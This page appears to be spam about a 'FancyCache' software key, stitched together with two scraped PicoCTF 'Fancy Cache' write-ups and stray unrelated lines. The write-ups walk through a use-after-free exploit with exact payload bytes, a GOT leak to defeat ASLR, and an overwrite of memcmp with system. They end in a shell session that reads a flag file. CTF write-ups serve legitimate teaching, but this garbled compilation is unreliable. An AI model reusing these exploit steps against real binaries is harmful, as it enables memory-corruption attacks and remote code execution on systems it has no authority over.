Fancycache Ключ

Posted on by admin
Fancycache Ключ Rating: 8,8/10 2745 reviews

Fancycache trial key. FancyCache Overview - a supplementary software caching scheme to improve the system performance Now here are results after we've configured and setup for ssd. FancyCache -hard drive block level caching program, usefull for systems with 4GB+ of ram and even more.

  1. Products
  2. Download Sites

Fancy Cache Writeup By sdamashek of Team TJ CSL Fancy cache revolved around exploiting a use-after-free vulnerability. We were given the server's source code, along with a client for talking to the server. Note: There was an additional vulnerability that made exploitation of this challenge easier, but I didn't discover it during the competition. If you submtitted a negative lifetime (you had to use 0xffffffff for -1 because it was sent as an unsigned integer), the program would still free the entry, but the user could still look it up because cachelookup only skipped entries with a lifetime of 0. This writeup does not use this vulnerability.

The Vulnerability Use-after-free vulnerabilities are a general class of vulnerabilities that involve overwriting user-controlled freed memory, and then the program in question using that memory afterwards. If the program doesn't overwrite the memory after allocating it again, we can do malicious things with that data. If the data contains a program variable, we can arbitrarily change that. So where's free called in Fancy Cache? Free is called only by one function in the program. Assert cacheset(f, 'a ', 'bbb ', 1) print cacheget(f, 'a ') The next step is to find a function which will call readintostring to read into the free'd value struct.

Since cacheget will free key first, and then value, our malicious string has to be the argument of the first realloc. Otherwise, we might overwrite key or a random address instead, which won't help us at all.

If we use docacheset, we'll run into this issue, because it calls stringcreate before readintostring. Since stringcreate allocates an empty string, the empty string will be put at the free'd value, and readintostring will read the string into the free'd key, which, like I said before, won't help us. However, docacheget only calls stringinit on the new key struct, which just sets key-data to a NULL pointer. The subsequent readintostring will then read a string from the user into the free'd value struct. So now that we know what function to call, lets construct our payload.

We want both length and capacity to be greater than the length of kSecretString so it reads enough bytes, to be safe I just defined both of them as xff xff x00 x00, or 65535. Then, data needs to be a pointer to kSecretString, so in little endian, xc8 x8b x04 x08.

So our payload is xff xff x00 x00 xff xff x00 x00 xc8 x8b x04 x08. Alright, lets do this. Assert cacheset(f, 'a ', 'bbb ', 1) print cacheget(f, 'a ') print cacheget(f, ' xff xff x00 x00 xff xff x00 x00 xc8 x8b x04 x08 ') assert cacheset(f, 'a ', ' ', 1, 280) print cacheget(f, 'a ') Sure enough, running this gives us kSecretString: 'Congratulations! Looks like you figured out how to read memory. This can can be a useful tool for defeating ASLR:-) Head over to for some hints on how to go from what you have to a shell!' Getting a shell The page mentioned above specifies 3 steps to getting a shell:. Finding the address of system (4 bytes).

Replacing the GOT entry of memcmp with the address of system. Trigger a call to memcmp The first step is quite similar to the process to read kSecretString, with one major difference: before we were reading memory from.rodata, and so when we passed the length of 280 and it tried to overwrite 280 characters at kSecretString, it couldn't because the memory was readonly, and so thus the data returned was untouched. Dos programs on xp.

The GOT however (global offset table, basically a table of jumps to functions so that the location of loaded functions can be changed without changing all the calls to the function) is readwrite, which is going to cause issues. My hacky way of getting around this (which wouldn't have been necessary if I had used the negative lifetime bug which I mentioned before) was, since it will try to overwrite the first four bytes at whatever address I try to read from, to overwrite it with what it already is. In this case, it's the address of the memcmp GOT entry, which is 0x8048456.

Then, as far as the system knows, there's no change and everything goes fine. However, when I get the cache entry, it will return the four bytes at the address I specify, like before. The nextsteps page explains how to get the address of system (which varies because of ASLR) and the address of memcmp's GOT entry ( 0x0804b014), so I won't go into detail there.

Below is the code to get the actual address of memcmp, and to based on memcmp's offset ( 0x142870) and system's offset ( 0x40100) from the base of libc, calculate the address of system. Assert cacheset(f, 'a ', 'bbb ', 1) print cacheget(f, 'a ') print cacheget(f, ' xff xff x00 x00 xff xff x00 x00 x14 xb0 x04 x08 ') assert cacheset(f, 'a ', ' x56 x84 x04 x08 ', 1) a = unpack4(cacheget(f, 'a ')) libcbase = a - 0x142870 system = libcbase + 0x00040100 After that, all I need to do is overwrite the GOT entry of memcmp with the address of system that I calculated. Writing isn't much different at all from reading, in fact it's easier, because now I don't need to worry about cacheset overwriting the value at the data pointer, because that's what I want it to do. Then, I need to call memcmp with the first argument being /bin/sh, so what actually gets executed is system(/bin/sh). I saw memcmp is called in stringeq which is called when seeing if a cache entry exists.

Products

Fancycache

Download Sites

Solved by barrebas Fancy Cache was another 'Master Challenge' for PicoCTF worth 200 points. It featured a custom server, which allegedly creates a cache of strings.

It's up to us to break it! We are given the source code, the binary, a libc library and a client written in Python. Fancycache communicates in a difficult way, but luckily, all the heavy lifting is already done for us in client.py! Browsing through fancycache.c, we immediately felt that this had to be some kind of use-after-free bug.

Fancycache Ключ

Indeed, there is a bug in these two functions. Malloc(12) = 0x8598008 (stringcreate) realloc ((nil), 7) = 0x8598018 (readintostring) malloc( 12) = 0x8598028 (stringcreate) realloc((nil), 8) = 0x8598038 (readintostring) realloc((nil), 7) = 0x8598048 (readintostring) Destroying key free( 0x8598008) (stringdestroy str) Destroying value free( 0x8598028) (stringdestroy str) realloc((nil), 4) = 0x8598028 (readintostring) At first, the code allocates 0x8598008 and 0x8598028 as key and value string structs, respectively.

Then, we request the value of 'keyAAAA', causing docacheget to free that memory again. Next, we request the value of the non-existent key 'bleh'. However, the program allocates space at 0x8598028, the recently freed region! Because the cache entry is still valid (lifetime!= 0), we can write a new string struct to these locations!

Let's first try to read memory. There is a hint hidden on the remote server, waiting for us. In the local copy, it just says REDACTED.

In order for this work, cache-key-data must point to a real string. I choose 'printf' in the binary. So:.

We register a struct string with lifetime -1. We fetch it; the struct string will be freed, but the cachelookup function will still try to use it, because lifetime!= 0.

We try to request another string struct, but this will allocate the old memory location and overwrite the old alloc’ed key & value regions (still valid according to cachelookup!). We “write” a string struct into value. ### modifications to client.py: # Add an entry to the cache assert cacheset(f, 'keyAAAA ', 'AAAA ', 0xffffffff) # Delete from cache print cacheget(f, 'keyAAAA ') # This is read into the old 'value' struct (used to be 0x8, 0x0,.(AAAA)). Print cacheget(f, ' xff x00 x00 x00 x00 x00 x00 x00 xc9 x8b x04 x08 ') # This is read into the old 'key' struct (used to be 0x7, 0x0,.(keyAAAA)) # We supply the address of 'printf', so the check will pass & we read whatever is at value-data print cacheget(f, ' x06 x00 x00 x00 x06 x00 x00 x00 x10 x83 x04 x08 ') # Print the actual data! Print cacheget(f, 'printf ') This gives the following output locally. Bas@tritonal: /tmp/picoctf/fancycache$ python client.py AAAA None None ongratulations! Looks like you figured out how to read memory.

This can can be a useful tool for defeating ASLR:-) Head over to for some hints on how to go from what you have to a shel Aha! Actually, that page spells out exactly what we need to do. I decided to follow it, also because of the very specific mention of the address of memcmp, which we need to defeat ASLR. Using the same read memory trick, we grab the address of memcmp, which is stored at 0x804b014. Using this address, we can calculate system by subtracting 0x142870 and adding 0x40100, the address of system in the supplied libc.so.6. Then, we need to write that value to 0x804b014 by doing a cacheset call.

Finally, we need to trigger memcmp, which now actually calls system. This turned out to be less-than-trivial, mostly because of differences in the address of memcmp on my local box. Finally, I worked out the following script (hopefully with enough comments to make sense of what's going on). Bas@tritonal: /tmp/picoctf/fancycache$ python client.py AAAA + Leaking memcmp address: 0xf7686870 + Calculated system address: 0xf7584100 + Attempting to overwrite memcmp pointer. + Running /bin/sh on remote box None id uid=1009(fancycache) gid=1009(fancycache) groups=1009(fancycache) ls /home/ bleichenbacher easyoverflow ecb fancycache guess hardcoreowner lowentropy netsino policerecords ubuntu ls /home/fancycache fancycache fancycache.sh flag.txt cat /home/fancycache/flag.txt thatwasntsofreeafterall The flag is thatwasntsofreeafterall. Fancy indeed! Jump to Line.